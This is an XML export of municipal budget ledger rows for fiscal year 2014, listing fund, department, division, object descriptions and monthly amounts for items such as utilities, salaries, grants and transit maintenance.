<row _id="12191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="12192"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>407780.0</object><object_description>FIBER OPTIC SERVICES</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-1600000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-200000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1800000.0</total></row>
<row _id="12193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5405.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>55</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5460.0</total></row>
<row _id="12194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26266.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26266.0</total></row>
<row _id="12195"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>167550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>167550.0</total></row>
<row _id="12196"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="12197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25110.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25110.0</total></row>
<row _id="12198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="12199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>241.0</total></row>
<row _id="12200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1627.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>245.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1872.0</total></row>
<row _id="12201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9932.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9932.0</total></row>
<row _id="12202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="12203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-20833.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29166.67</total></row>
<row _id="12204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144633.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144633.0</total></row>
<row _id="12205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>80230.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80230.0</total></row>
<row _id="12206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8815.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8815.0</total></row>
<row _id="12207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570320.0</object><object_description>TRANS TO 01-GLOW, PLGRND PRTNR</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35600.0</total></row>
<row _id="12208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14311.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14311.0</total></row>
<row _id="12209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570320.0</object><object_description>TRANS FROM 04-GLOW, PLGRND PRT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-35600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35600.0</total></row>
<row _id="12210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="12211"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-159075.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-159075.0</total></row>
<row _id="12212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>410100.0</object><object_description>FIRE MISCELLANEOUS REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-20910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20910.0</total></row>
<row _id="12213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400350.0</object><object_description>STATUATORY PASS-THROUGHS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-2014977.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2014977.0</total></row>
<row _id="12214"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404660.0</object><object_description>LIBRARY BOND TAX OVERRIDE</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-1486350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1486350.0</total></row>
<row _id="12215"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410160.0</object><object_description>BLOCK PARTIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-570.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-570.0</total></row>
<row _id="12216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>404900.0</object><object_description>TMP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-456167.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-456167.0</total></row>
<row _id="12217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>410200.0</object><object_description>PROGRAM INCOME</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-70000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-70000.0</total></row>
<row _id="12218"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>59945.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59945.0</total></row>
<row _id="12219"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566920.0</object><object_description>YRT COLLABORATIVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>284000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>284000.0</total></row>
<row _id="12220"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>410270.0</object><object_description>AFFORD HOUSING LINKAGE CONTRIB</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-21000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21000.0</total></row>
<row _id="12221"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>967.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>967.0</total></row>
<row _id="12222"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11823.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11823.0</total></row>
<row _id="12223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="12224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544112.0</object><object_description>SIGNAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>136376.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>136376.0</total></row>
<row _id="12225"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250608.0</july><august>0</august><september>0</september><october>0</october><november>-150000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100608.0</total></row>
<row _id="12226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>605.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>605.0</total></row>
<row _id="12227"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577351.0</object><object_description>HOME VOUCHERS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>560273.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>560273.0</total></row>
<row _id="12228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-36000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36000.0</total></row>
<row _id="12229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47152.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47152.0</total></row>
<row _id="12230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2200.0</total></row>
<row _id="12231"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>124900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>124900.0</total></row>
<row _id="12232"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="12233"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545030.0</object><object_description>CULTURAL SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="12234"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1042.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>270.83</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1312.83</total></row>
<row _id="12235"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4823.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4823.0</total></row>
<row _id="12236"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3802.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3802.0</total></row>
<row _id="12237"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>90000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90000.0</total></row>
<row _id="12238"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533710.0</object><object_description>SOFTWARE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
